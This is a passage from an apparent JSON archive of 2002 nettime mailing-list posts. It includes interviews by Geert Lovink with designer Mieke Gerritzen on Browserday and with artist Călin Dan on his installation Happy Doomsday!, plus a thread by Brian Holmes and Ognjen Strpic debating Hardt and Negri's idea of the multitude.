are\nconstantly changing. Software is becoming redundant in such a short time.\nThe interface design aspect of a browser is literally everything what makes\npeople move in the digital sphere. If one is only using sound for navigation\nthat's interface design as well, or hardware but also the visuals. Design is\na wide area. So is interface design, since it's not clear how communication\nhardware will develop and where wireless technologies will go.\n\nGL: Why do we stress the importance of the quality of software and talk\nabout the politics of Internet applications? Do people really care about\nsuch issues? Isn't the excitement over such issues something of the mid and\nlate nineties? How do students and schools respond to the very idea of\nbuilding your own browser?\n\nMG: The politics of Internet applications is only interesting for economic\npurposes. The last years digital media students and young designers were all\nvery busy making money. Since the dotcom crash people are getting less\ninterested in Internet in general. They shifted their attention to mobile\ndevices or digital gadgets like MP3 players or new computers such as the new\ni-mac. Apple for instance has done many steps back and is more and more\nusing outworn metaphor. They are only restyling.... but why? Because we\ndon't need more advanced, faster processors at the moment. Software runs\nperfect and we don't need more memory. This means Apple focuses on the\nconsumer instead of the professional market. They have started to restyle\ninstead of further developing their products. For instance, software such as\ni-photo is just an easy-to-use photo album online, a shell for pictures. It\nall started with the launch of their new OS X operating system, which looks\nlike an interface made out of ordinary future.\nStudents like to build their own browser. The idea is really funky but they\nare not very conscious about the politics of technology. Since 911 they are\nmore critical. They want to make the world a better place, but only after I\ntold them designers have this power and opportunity to change. They don't\nneed to further spread the unified global look, developed by marketing\ndepartments of large corporations. Recession is really good, in that\nrespect.\n\nGL: You have worked with a variety of schools and students from all over\nEurope and the United States. Could you tell something about the different\nschools and their models for new media pedagogy, which you find most\ninspiring?\n\nMG: There is no difference between Europe and the United States concerning\ndesign education. The whole Western world looks similar in that respect,\nboth universities and art schools. All these institutes need to do is\nrestructure, offer new courses, start new departments and of course every\ninstitute will do this in its own way. The teachers, their world, ideas and\npassion they bring in will make the real difference. People will create the\ncharacteristics of the educational environment. Special activities and\nevents are important to force students to create vision and motivation.\nLearning is a never-ending process. Good teachers are still learning. If\npeople are busy with interesting topics, coming from actual problems or\ntendencies in the world, we will forget about the bureaucracy and structures\nwe have to deal with.\nIn the case of Browserday I found more difference between the Netherlands\nand Germany. In Germany I did not found so many critical or political\npeople, they were more following the trends. The American and Dutch people\nwere more conscious and critical, they try to make statements. In this case\nI was happy to see that in these moments of recession, people try to come up\nwith ideas and visions instead of market-valuable products.\nIt's always difficult to find students who are studying to find their\nmessage and their own visual language, maybe 3% of the students is really\ninterested in their social environment. If you want to make a point in this\nworld, you have to believe you can change the world. Nobody is talented. If\nyou want to become a star you have to work and you have to study. It's a\nfight with yourself. Most of the people and students are consuming, they\nhave no ambition.\nThe Browserday is something you have to go for. It is not part of the\nregular curriculum. Browserday always presents a topic from the world of\ntechnical development connected to the actual situation of our social\nenvironment or our behavior. If students care they pick it this topic and\nstart creating a new better world. This way of challenging people gives more\nmotivated students than the regular program at universities and schools. It'\ns just a trick to find the people who feel responsible for their life and\nfrom others.\nNew Media education will become soon more interesting, the first generation\ndigital designers and developers are graduated and are now able to teach.\nThat will make a difference because up till now we could stimulate students\nto break walls, but the real experience now is coming from the new\ngeneration media designers.\nI sometimes wonder why so many students are not working like crazy. I grew\nup with the idea of fighting and working to create a good and interesting\nlife. Not all of them but most of the students are easy going. But life\nchanged; there is more money. Most people only work 3 days a week instead\nof 5. There's more time for entertainment and shopping. These changes in the\nwork place are also influencing education. If people do not automatically\nhave the need to learn we have to challenge them. That's why I think\nevent-education is important for the future. It's a combination of learning\nand entertainment.\n\nGL: It is obvious that students don't need to be taught how to use this or\nthat application. They often know more than the teacher. All right. They\nneed to discover their own style, methodology, how to develop a concept, get\nthe necessary critical theory to interpret the larger framework. But how\ndoes that translate into a curriculum?\n\nMG: A curriculum should not be a list of soft- en hardware knowledge. The\ncurriculum will be a list of projects and work. Software these days is\ndeveloped for mass use, but to create special work you'll need creativity\nand vision. Students need to know about software, stretch the limitations of\nit, they should control the software instead of software controls them. I\ndon't want to see software anymore if I look at their applications, unless\nits part of their concept. At the moment we live in the age of style\npoverty. Software generates too much images and styles created by tasteless\npeople. I am sorry to say that but the evidence is overwhelming. People just\nuse existing styles and do come to school anymore to develop their own\ndesign vocabulary. This is what makes the world so poor and boring. We are\nlosing culture due to the homogenizing forces of globalization. What we need\ninstead is subjective madness; a radical individualism which aims at\nesthetic singularity.\n\nGL: How has the established design world responded to the Browserday events\nso far?\n\nMG: The design world has reacted positive so far. People appreciate it, not\nonly within design world, by the way. Browserday is a cross media event.\nIt is a mix of technology, theatre, sound, design, art, theory and political\nstatements. The diversity makes it a popular and entertaining event. Young\ndesigners and students who prepare their presentation also like it because\nthey have the opportunity to present their ideas to a large audience. They\nreally exercise and we help and stimulate them to show the strongest part of\ntheir concept.\n\nGL: The browserday events could be called a structuralist design approach.\nBecause of the emphasis on the power of applications the story telling\naspect of design is getting a bit in the background. There is no idea in\ndesign as such. The application is the message. You also seem to distance\nyourself from the sixties approach in which design is being subordinated to\nsocial movements and abstract Marxist criticism.\n\nMG: The browserday invites people to transform their vision into an\napplication. To be honest, I am more interested in visions then\napplications--if they were to be separated. During a browserday we can show\nthat designers are able to combine these two elements. The process of\ncombining techniques and ideas is their story. Their presentations are\nshowing a way of thinking, a way of looking to the world. An application has\npower if it has a message. I think browserday is already famous because of\nthe critical and different look (engagement) at the world of technical and\neconomical development.\nBy living in this world it will be always a struggle to deal with structures\nand systems. Browserday as an organization will try to be invisible. And I\nknow its not possible, but we try I think being creative is the best in\ntotal freedom. So how can you create an environment where people will get\ninspiration, attention, freedom, context and information? For me most of the\neducational institutes are too much bureaucratic and rule-minded. Browserday\nat least will try to be a more open and a moving organization without a\nphysical place, working and giving personal information via email and the\nweb. Design for new media has proved to be a field in between the structure\nof organization and the system of technological possibilities. A browser\nrepresents information and it needs a system and structure to make this\nhappen. To come up with extreme and new ideas you need to be free of too\nmuch influence coming from the bureaucratic over structured society we live\nin.\n\nGL: Your not a big fan of theory, is that right? You don't seem to care so\nmuch about the latest fashions in cultural studies, post-colonial theory,\nvisual culture or critical contemporary arts. You are not fond of the banal\nBauhaus comparison either. Where should new media design students get their\ninspiration from, presumed they want to read texts in the first place?\n\nMG: Theory may be important for theorists. But for designers or people doing\ncreative practice it is more important to develop theory out of their own\nexperiences. They don't need all this information from books and history.\nThere is a difference between reading and hearing statements, and creating\nthem yourself. Designers are practitioners and they find out themselves what\ntheir 'message' is. They probably express this in their own language, which\nwon't be text. This keeps the way open to develop their own theory, shown\nthrough their work. I stimulate the development of strong, new, visual\nlanguages and by knowing too much of written theories it doesn't help\ncreating new work and mentalities. People should concentrate and be\nself-confidential when they create their work. Too much influence from\nothers is no good. Of course it would be na\u010fve if they remained unaware\nabout the context of their own work. But they will know if they are the type\nof person to analyze. And they always get help of theorists. In fact, they\nshould more often work together.\nYes, I am not so much interested in the latest fashion of whatever. Fashion\nis important if we look to the world in general. But fashion is first and\nforemost an economic factor. It is mass manufactured. There is also fashion\nin theory and this indicates that no that many people thinking different.\nPeople who created a new and special theory or visual or technical thing are\nnot part of fashion but show a new personal and characteristic view. That's\nwhat I'm interested in. Not in fashionable mass taste or knowledge.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Thu, 9 May 2002 10:38:17 +1000",
                "to": "\"nettime-l\" <nettime-l {AT} bbs.thing.net>",
                "message-id": "200205091556.LAA16581 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0205/msg00043.html",
                "list": "nettime_l",
                "author_name": "geert lovink",
                "subject": "<nettime> Browserdays: Interview with Mieke Gerritzen"
            },
            {
                "id": "00149",
                "content": "\n\"One could imagine pushing social cooperation further, beyond the \nbounds which capital can tolerate,\" says Michael Hardt drily, in his \ninterview with Ognjen Strpic in Zagreb.\n\nWhat Michael Hardt calls \"communism\" lies essentially in this social \ncooperation. And he's right, in the sense that the empirical beacon \nof a pragmatic revolutionary politics is founded on phenomena of free \ncooperation, right now, in fact, before our nose - or with our \nconcourse, in the best of cases.\n\nHardt is less dry, or even enchanted, when it comes to the multitude:\n\"Our attempt with this concept of the multitude is to recognize the \npossibility of a different kind of political organizing. Rather than \nbeen based on, say, the alternative between identity and difference, \nit's based on continuity between multiplicity and commonality.... \ngroups that we have thought in a previous way were objectively \nantagonistic, even contradictory to each other, say, trade unions and \nenvironmentalists, suddenly, starting in Seattle, function \ntogether...\"\n\nI would like to submit that this sudden cooperation - which has also \nbeen short-lived, in the case of US trade unions and \nenvironmentalists - results from the perception of EXTREME WEAKNESS \nON THE SIDE OF ALL SOLIDARITY-BASED MOVEMENTS. In particular and \nexceptional circumstances, desperation suddenly breaks the barriers \nthat our societies are so devilishly good at erecting between \ninterest groups and even between individuals.\n\nThe political question is then: HOW TO GO BEYOND THE SUDDEN \nINSPIRATIONS OF DESPERATION?\n\nHere lies the weakness of all the rhetorics based on an invocation of \nabsolute democracy:\n\n\"The other way in which [Empire] is a communist book is that is \nargues for an  absolute democracy, for democracy founded on relations \nof equality,  freedom, and social solidarity. I mean, I think that \nthose three code  words belong to the French Republican tradition, \nbut also belong, in my  mind, to the best elements of the communist \ntradition. So, that also seems  to me that it's the way it's a \ncommunist book, but it's demanding an  absolute democracy.\"\n\nThe historical fact is that is that democracy, as we know it, \ncontains an absolute contradiction. Social solidarity - \ni.e.\"fraternity\" - was added to the French republican slogan in 1848, \nwhen the \"National Workshops\" were instituted to give work, and \ntherefore sustenance, to the masses of unemployed urban-dwellers left \nwithout any resources by a classic capitalist recession (the one \nbased on the railroad bubble, which so many have compared to the \ninternet bubble, by the way). What people realized during the \nrevolution of 1848 was that there was no substantial equality, and \ntherefore no effective liberty, for people enslaved to the liberty of \nothers (the bosses). But who had the power to create the National \nWorkshops? An organ of redistribution: the state.\n\nThe alternative globalization that Hardt calls for (me too) involves \na rethinking and a reinstitution of the state, or at least of \nsolidarity.\n\nThis raises screams from the rank and file of the autonomists. But I \nsay: you really are the \"rank and file\" so long as you continue to \nbelieve that the enthusiasm of global cooperation gets rid of any \nneed to think about how global redistribution will be carried out. In \nfact this rhetoric is coming from people who know better. Whoever \ncalls themselves \"communist\" has some idea about effective equality, \nand what it entails: the socialization of education, access to tools, \nand protection in the case of life-accidents, at the very least. \nAbundance for all as a feasible utopia. How to create those \nconditions, starting not from \"human nature\" but from actual \nconditions, is the political question. \"How things get managed, \nthat's the interesting thing,\" said Toni Negri in one of his \ninterviews on the pre-revolutionary situation in Argentina.\n\nIn his review of the book, Zizeck said that Empire was \n\"pre-political.\" His argument was that the call for global \ncitizenship would immediately provoke a fascist reaction in Europe, \nand was therefore unrealistic. Look around you today. I'm for the \nabolition of all borders. But that ALSO means a total reappropriation \nof the European state, and then of the American one, to make it not \njust into a universal welfare state mending the lacerations of \ncapitalism, but much more: it means inventing procedures of \ndelegation and representation capable of directing the tremendous \nwealth of modern technology toward the largest number of people, \nwithout creating a new version of bureaucratic oppression. Again, the \npolitical question. Not so easy.\n\nLet's not kid ourselves. This can only be achieved when we all have \nfirst faced a situation of DESPERATION. Solidarity doesn't grow on \ntrees. And unfortunately, DESPERATION is coming. The shit is going to \nhit the fan, and the question of political violence is not going to \nbe limited to breaking the windows of Starbucks, or to the way the \nmedia can distort such acts. Perhaps when the Palestinians are \nDESPERATE enough, they will adopt Ghandian non-violence, when faced \nwith the ABSOLUTE OPPRESSION of modern military technology. Perhaps \nwe will move toward GENERAL STRIKES in European and American cities, \ntotal stoppages of every function, whenever our outdated \"leaders\" \nshow their heads. But for that, we have to look around and see that \npeople are literally starving, next door, that lives are falling \napart in our lovely European and American cities, for lack of an \naddress to the political question.\n\nThe NEOFASCISM gathering all around us is only the symptom of society \nfalling apart under the pressures, the anti-state or anti-society \npressures, of NEOLIBERALISM. But the worst is, you have to face both \nthe symptom and the cause.\n\nIn solidarity with Michael Hardt, Ognjen Strpic and all those who are \ntrying to THINK POLITICS today.\n\nBrian Holmes\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0205/msg00149.html",
                "list": "nettime_l",
                "author_name": "Brian Holmes",
                "subject": "<nettime> Re: Zagreb interview with Michael Hard",
                "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                "follow-up": [
                    {
                        "from": "Ognjen Strpic <ognjen {AT} mi2.hr>",
                        "content": "\ndear Brian,\n\nthank you for your kind comments on the interview. i was wondering would a\nreader of the interview have the same impression that i had, that is, that\ncommunism Hardt calls for is \"communism\" in quite a special meaning. but\nit is this enchanted dance of the multitude on the edge of fascism that\nworries me most.\n\nthis totalitarian potential of Empire that Zizek warns about stems not\nonly from its appeal for global citizenship. this loosely bounded\nsolidarity, a movements' ability to \"recognize their common project\" is\nexactly the strategy of totalitarian movements.\n\ni guess you might think of many historical examples, but what comes to\nmind here in Croatia is so-called \"Headquarters for protection of dignity\nof Homeland War\" lead by a paraplegic veteran Mirko Condic and supported\nby virtually every right-wing movement in Croatia and Herzegovina.\n(Homeland War is \"official\" name for the war in Croatia and, tacitly, also\nin Bosnia and Herzegovina on behalf of Croatia)\n\nbasically, what they oppose is extradition of Croatian Hague-accused war\ncriminals. in the elaboration, their position might be described as one\nthat holds that notion of crime is suspended in a just war and that\nCroatian soldiers and non-soldiers who did what they did (which becomes\nirrelevant) are by definition impunible. the protestors are in part war\nveterans (and their families), but there are many other otherwise\npolitically invisible people, too.\n\nwhat's that got to do with Hardt-Negrian communism of the multitude? in a\nword, everything. what they are effectively doing is while \"remain[ing] a\nmultiplicity\" (in terms of economical class, state-nationality -- many\nprotestors are from B&H and other countries, party-political -- Croatian\nright is very fragmented and Condic doesn't represent any party, &c up to\nright-wing environmentalists and the \"apolitical\") they \"recognize how\nthey can become common\". and they really do. they \"solidarize\" with their\nfellowmen.\n\nmeanwhile, they heartedly resist cultural, political, and economical\naspects of globalization, criticize the government for being neo-liberal\nin terms of weakening of social programs, submissive foreign policy,\ncorporations taking over local business etc.\n\nprime minister called them \"undemocratic\" and refused to comment on their\nproposals drawing on legitimacy of his elected government. he could have\njust as well called them revolutionary.\n\nin my mind, it's a hell of a symptom.\n\n\nps.\n > Perhaps when the Palestinians are\n > DESPERATE enough, they will adopt Ghandian non-violence, when faced\n > with the ABSOLUTE OPPRESSION of modern military technology.\n\ni have a deja vu reading this line: almost the exact words Ghislaine \nGlasson told me over a glass of wine in Sarajevo. i felt enlightened :-)\n\nOgnjen Strpic\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00164",
                        "date": "Thu, 23 May 2002 17:38:42 +0200",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200205240227.WAA01129 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0205/msg00164.html",
                        "content-type": "text/plai",
                        "author_name": "Ognjen Strpic",
                        "subject": "<nettime> Re: Zagreb interview with Michael Hard"
                    },
                    {
                        "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                        "content": "\nHi Ognjen (and all you Hardt/Negri readers) -\n\nLet's go just a little further with this. You write:\n\n  \"i was wondering would a reader of the interview have the same\nimpression that i had, that is, that communism Hardt calls for is\n\"communism\" in quite a special meaning. but it is this enchanted dance of\nthe multitude on the edge of fascism that worries me most.  ... this\ntotalitarian potential of Empire that Zizek warns about stems not only\nfrom its appeal for global citizenship. this loosely bounded solidarity, a\nmovements' ability to \"recognize their common project\" is exactly the\nstrategy of totalitarian movements.\"\n\nWell, I actually didn't read it that way. You know, I've been saying for\nyears that we really need much broader solidarities, to face up to the\ntransnational power now wielded by capital, and by those parts of the\nstate-systems that support capital's global extension. And I don't think\nthe movements Hardt is talking about are potentially fascistic in any way,\nhe's basically talking about the kind of people who went to Porto Alegre\nand hung out on its fringes.\n\nIn the course of the last two or three years, though, some things have\nradically changed. With the transition to Europe, as with \"globalization\"\ngenerally, there is a crisis in representative democracy. The governments\ncan no longer represent many people's desires for a better life, because\nas the countries lose sovereignty, the governments lose power to do\nanything accept render their states, enterprises and the most adaptable\npart of their population more fit for the demands of transnational\ncapital. So the democratic systems come under a lot of stress, and\npopulism arises, mostly in a fascist form. The fascists are really a\nserious problem, because they combine with and provide the excuse for the\ntraditional and neoliberal right to give us a new version of the\nauthoritarian police state, bound together with other such states in a\nglobalizing alliance.\n\nBut far left movements also arise, whose intentions are as yet unclear. I\nsituate myself there (because I believe that redistribution is necessary,\nand that predatory capitalism much be controlled, if not entirely\ntransformed). The notion of the \"multitude,\" as I understand it, is\nsupposed to encourage this far left. But the promise of the multitude is\nnot that of some swirling rainbow nebula of humanity, surging up in\nmagical mobility to change everything. That's a great image and it\ntranslates some of the wonderful suprise of the reappearence of resistance\nmovvements, with new techniques. But it's not precise enough. and I think\nit now should just be abandoned. Imprecise evocations open up too much\ndanger for populism, I think that's the point in the example of the\n\"Homeland War\" veterans.\n\nThe promise of the multitude is that of an operative intelligence of\nindividuals and small groups, able to generate agency through the\nnetworked extension of an almost personal trust, which is based both on\ncontinuous critical debate and on cooperative action.\n\nThis new extension of agency is a potential, which at moments is realized\nto some degree. It promises much more permeable organizational structures,\nwhere you do not immediately delegate your intelligence and will to some\nrepresentative, where you engage in extensive debate and gain some agency\nand productive responsability.  The experiment is to see how far these new\norganizational processes can go. It seems we will need them to put any\nviable solidarities into effect, as things get worse in the world, which\nunfortunately they are almost sure to.\n\nI don't think that experimentation takes place in a vaccuum, though.  \nIt's something like the issue I was discussing with Keith Hardt, in the\n\"barter\" thread. Is it possible to name all those non-contractual,\nnon-market principles on which a multiplicity of human exchanges in\nreality depend? Is it possible to acquire a much clearer understanding of\nwhat kind of solidarities the transnational networks are based on, how and\nwhy they function, and how they interact with existing representational\ninstitutions? As the actually existing governments really begin to falter,\nand as I see (rather closer than I'd like in France right now) the\npitiful, prepolitical hodgepodge that passes for thinking among the far\nright movements, I find that the left needs clear and pratical expression\nof the way we organize, the problems we face, and the specific directions\nin which we are looking for solutions.\n\nBut take a movement like Kein Mensch ist Illegal. It calls for the\ndissolution of all borders and it convokes a transnational cooperative\nnetwork to rework, amplifly and promote that general call, mostly through\nspecific actions of solidarity. Zizeck said that such a call, which is\nalso found in Empire, would lead to fascist resistance. In a way that's\nhappening - not so much because of the actions of the far left, but\nprimarily because of the continuing impoverishment of many countries, and\nthe transnational labor movements brought about by neoliberalism. To which\nyou can add the positive desire of people everywhere to participate in the\nnew mobility.\n\nMyself, I believe one should not abandon the call for open borders in\nfavor of a return to closed national society (which is always a fiction).\nBut we have to begin to forsee the consequences of that call: in Europe it\nentails at the very least development programs for the neighboring\ncountries, useful, productive forms of transnational credit, different\nkinds of education inside the European territory (not just education\nagainst racism!), better housing for immigrants, better wages and working\nconditions. In short, quite a radical change of the economy. But a real\none, that operates in detail and does not just conjure away the hated\nstate in the hope that spontaneous cooperation will resolve everything.\n\nI guess that's what Michael Hardt means when he says that we wouldn't\nnecessarily be better off just by getting rid of institutions like the\nIMF. I wish he'd be more precise though. That's the main thing, not to go\non evoking this epochal change without any discussion of what it will\nentail. Accepting the need to have a strategy to work toward that kind of\nchange - OK, a complex, permeable, incomplete strategy, but still a\nstrategy that can be constantly critiqued and made better - seems to me to\nbe the difference between having a political fantasy and a political\naspiration. Spontaneous cooperation without any representation would only\nbe possible in a world with no enemies - cf. the anarchist republic in\nSpain.\n\nBy the way, I was told by a fellow in Spain the other day, that according\nto the living memory of someone my friend had known, the thing that really\nmarked the anarchist revolution in Barcelona was that they literally threw\nthe money away, they threw it out into the street like garbage! After\nwhich they invented other means of exchange. Then again, I do think we\ncould throw away the IMF's structural adjustment programs - and I support\nthe replacement of the the WTO too, as gatt.org has just announced!\n\nbest, Brian\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00171",
                        "date": "Fri, 24 May 2002 20:12:10 +0200",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200205250108.VAA22313 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0205/msg00171.html",
                        "content-type": "text/plai",
                        "author_name": "Brian Holmes",
                        "subject": "<nettime> Re: Zagreb interview with Michael Hard"
                    }
                ],
                "message-id": "200205220732.DAA04491 {AT} bbs.thing.net",
                "date": "Wed, 22 May 2002 02:02:04 +0200",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "\"geert\" <geert {AT} xs4all.nl>",
                "id": "00014",
                "content": "\n'I am a believer in the symbolic aspect of culture clashes.'\nInterview with C\u0103lin Dan\nBy Geert Lovink\n\nC\u0103lin Dan is a Romanian art critic, curator and artist, based now in\nAmsterdam. For me he is one of the people embodying the post-89 circumstance\nof Europe. C\u0103lin is equipped with an enlightened form of nihilism (to be\nfound in E. M. Cioran--a cult figure for the Romanian intelligentsia); he\npractices black humor (like Caragiale--another cult figure for the same); he\nhas a vivid interest in anthropology (see Eliade); and sometimes in\nmetaphysics (Noica/Liiceanu). Born in 1955 in the Transsylvanian town Arad\n(next to the border with Hungary) in a middle class family, C\u0103lin Dan had a\nmixed career under the Ceausescu regime, managing to achieve a reputation in\nthe art circles while keeping a low political profile, and he survived the\ndark eighties as an art historian and journalist.\nHe was therefore quite well trained to enter the chaotic period after the\nbloody 'television revolution' of December 1989. Together with the artists\nDan Mihaltianu and Iosif Kir\u00e1ly he formed in 1990 the art group subREAL and\nstarted to produce conceptual installations. Their style was dirty and\nminimal, full of ironical references to Romanian history and to the\npolitical moment--the dubious post-communist leadership of Ion Iliescu. In\n1992 C\u0103lin Dan was appointed director of the Soros Center for Contemporary\nArts (SCCA) Bucharest. In that position he initiated the first media art\nevent in Romania, Ex Oriente Lux, which opened in November 1993. As a\nsomewhat regular visitor to Bucharest, teaching media theory and video at\nthe Art Academy, I was part of this event, working together with C\u0103lin on a\nspecial issue of the journal Arta and on the catalogue of the show and on\nthe program of a two days conference. During that intense period I made a\nfirst (unpublished) interview with him.\nThe conversation below was recorded in Amsterdam, February 2000 and edited\nby C\u0103lin in the following months. A lot had happened in the six years since\nwe first collaborated. The government withdrew all funding for Arta in 1994.\nThe same year, C\u0103lin produced another mega-event, the exhibition 010101...,\nusing for the first time in the Romanian context features like community\noriented projects, interactive displays of content, on-line communication.\nThe event generated an important body of work produced in collaboration with\n14 artists, a documentary film and an impressive catalog. In 1995, C\u0103lin Dan\nand Iosif Kir\u00e1ly (by and since then the only members of subREAL) were\ninvited for a one year residency in K\u00fcnstlerhaus Bethanien, Berlin. They\ntraveled there with the photo archive of Arta, practically saving it from\ndestruction by neglect from the part of the authorities.\nAs a result of the works produced there, subREAL became almost synonymous\nwith 'artists & archives'. Unlike in other cases originating in the Former\nEast, subREAL did not intend to reveal any scandals about compromised\nartists or alleged secret agents, working for the powerful (at the time)\nSecuritate. The 600 kg heavy archive was primarily material illustrating Art\nHistory as a concept. Nevertheless, this was the archive of a communist,\nstate-controlled art magazine, closely tied to the rich and influential\nUnion of Artists, an organization embodying the official ideology as far as\nthe art scene was concerned. From 1996 C\u0103lin established himself in\nAmsterdam as an artist. After having worked during the years with video,\nafter using the computer mainly for word processing and e-mail, he entered\nabruptly in a media recuperation phase, and produced a lot of graphic\nmaterial commenting digitally on (again) art history (mainstream Western art\nthis time). After that he got engaged in the exciting world of 3D computer\ngames.\nIn collaboration with the newly established V2Lab For The Unstable Media,\nC\u0103lin developed between 1998-1999 the interactive installation Happy\nDoomsday!. C\u0103lin chose for the purpose two fitness chairs used for training\nthe arm muscles, and interfaced them with the computers through sensors\nreading the movements of each user. The machines are performing the\nfunctions of joy sticks, generating navigation/participation in a multi-user\n3D environment, which is a simulator of European war history based on the\npolitical map of the continent.\n\nGL: The complete version of Happy Doomsday! was shown in Vienna's\nMuseumsquartier, in ZKM--Karslruhe, and at the Rotterdam Film Festival. How\ndoes it feel to have completed such a big project, which is, if I may say\nso, your first as an interactive media artist?\n\nCD: Basically it feels good, if I look at the people crowding to work out on\nmy machines. I am happy mainly because this gets my initial hypothesis\nconfirmed: there is a possibility to communicate with your public in a way\nwhich is both enjoyable and serious. That was the main expectation behind my\nchoice for the computer game formula: to get an entertainment tool which\nleads the audiences somewhere else. That is why I put my trust in\ninteractivity and in the pop culture formats.\n\nGL: Budget-wise working at Nintendo must be different from working in the\nstructure of a media arts organization such as V2'Lab, even though you got\nthere a very generous support. How would you describe the aesthetics of\ncomputer games in connection to this type of technical and financial\nlimitations?\n\nCD: Building a computer game starts with decisions painters have to make\nwhen buying the canvas, the brushes and the colors. If you are rich enough\nyou go to the best shop. If not you end up with a piece of cardboard. It\nhappened to Van Gogh. So, in the end much depends on what you are able to\nuse it for. In bigger words--what kind of visions haunt you. You do not need\nthe latest version of Maya or a super-computer in order to develop a good\npiece.\nMind you that I am not necessarily in favor of the poverty approach. At\nleast not as far as the knowledge of the field is concerned. You have to\nunderstand what is going on the market.\nOnly after having your research done, knowing what is on top and below your\ncapacities, you can position yourself properly. We ended up in the\nmedium-lower scale. We worked with 3D StudioMax, and we used World Tool Kit\nas game engine. It is fine compared to older software but its kid's stuff if\nyou look at what is used now in the commercial world.\nOn the other hand, I do not see yet enough authoring knowledge enabling\npeople to contain the illusionist powers lying in high-end software. Without\nthat knowledge, generated in a thin zone between Technology and Cultural\nTradition, we are easily carried away by the fascination of the new,\nsometimes in unknown directions, but mainly in versions of a Barbie\nenvironment. That kind of knowledge is a delicate product and needs time to\ndevelop and mature. While when working with lesser tools you are on the\nfamiliar ground of poverty, and therefore forced to be inventive.\n\nGL: Is this the distinction between the workshop-based digital artisan, as\nRichard Barbrook has described it, and the industrial way of game\nproduction?\n\nCD: I do not see a structural difference between low and high scale\nproduction, if the production mentality is there. As soon as you leave the\nstudio and start working outside of the art system, you are forced to\nabandon artistry. If you run a project like Happy Doomsday!, with a staff of\nfifteen, or Super Mario with--I don't know, a team of two thousand\nmaybe?--it burns down to the same thing. You have to meet deadlines,\ngenerate ideas at high speed, keep your drive. And mainly, work with people,\nknow what are the limits of your decisional powers, when to force into a\ncertain direction and when to give up, when to accept failures and when to\nfight beyond.\nTalking of deadlines, maybe that's where the differences occur. In low\nbudget projects, deadlines are basically impossible to meet. Not necessarily\nbecause of bad planning, but because we talk here of a domain where process\ncontrol is very limited and where we practically do not know what we are\ndealing with. You cannot quantify the work and drop deadline dates unless\nyou have an open pocket. And even then. At Nintendo, the above mentioned\n'Super Mario' (a drag content wise, if I am allowed an opinion, but an\nambitious experiment in interaction and in physical responses of the\ninterface) was delivered with two years delay.\n\nGL: What is the relation of Happy Doomsday! with the present situation of\ndigital art?\n\nCD: The game was designed for two users who meet in a real-time rendered\n3D-environment, a feature which implies quite some work. I think the public\nlikes it; not necessarily the critics or the digital arts community. Happy\nDoomsday! is not trendy enough: not enough techie stuff in it, not enough\nplay with randomness or with any other imports from the surface of\nscientific research. Besides, a strong physical interface grounded in a\nspecific location is different from a permanent web presence. That's also\nnot cool enough in those times of high bandwidth propaganda.\nBut more important to me, there is a mutual distance here, based on\ndifferent visions on the functions of art. I personally don't believe in net\nart as a distinct visual territory, and obviously net art sets a tone in\ntoday's digital discourse. I appreciate net art for some ideological stand\npoints, but I am not sure that the methods to fulfill them are appropriate.\nNet art looks very much like an in-house product, with solutions easy to\nabsorb in main stream web design. I sometimes have problems in drawing a\nclear visual distinction between a net art product and a smart commercial\nweb site--not enough resistance there, I would say. Next to this, net art\nraises an interesting marketing issue: if you don't try to reach out with\nintriguing, interesting physical interfaces your web site will be lost in\nthe electronic void. Getting into the public sphere needs more than a URL\nprinted on a T-shirt and much more than obstinate promotional campaigns.\nUnfortunately, or luckily so--I am not sure.\nAn exception in my view is Shulea Chang's Brandon project, due precisely to\nthe fact that it is interfacing with people, with institutions and with the\ncity at the same time (http://www.waag.org/brandon). Brandon provides an\nexample that interfacing to the public should not be just a metaphor, since\nyour audience is not just a matter of speech. An interface is also a\nsculpture, and the social body you aim working with is fluid material that\ncan be modeled. Beuys had some good visions in that direction. But that is\nancient history--before the net ambitions. I think we should be more\nconcerned by the expectations of the audiences. People are very simple but\nvery sophisticated at the same time. This ambiguity makes them so hard to\ncatch and then hold, since it is so difficult to stir both aspects: their\nsimple curiosity and their deeper needs as well.\n\nGL: Before Happy Doomsday! you worked mainly as an editor, critic and\ncurator. Your work as an artist member of subREAL was never that technical.\nWhat skills did you learn in the process of putting together such a big\ninteractive computer installation?\n\nCD: Not very much. I started my high school education in computing, and did\nsome programming in Pascal when I was a kid. I left that track very early\nand studied art theory. Afterwards I always worked in teams, as an editor,\ncurator, manager. What the 90s brought in my life was the discovery of\ntoday's neo-pop culture: advertisement, clubs, fashion. That was totally\ndifferent from what I experienced before the TV revolution allowed me to\nboth travel and zap. My option for the fitness machines as interfaces and\nfor the game paradigm as a support for my discourses come from this. If you\nwant attention you have to use attention-tested techniques. But for the\nrest, Happy Doomsday! came very much along the line of other big projects I\ndid back in Romania in the early 90s, 010101..., or Ex Oriente 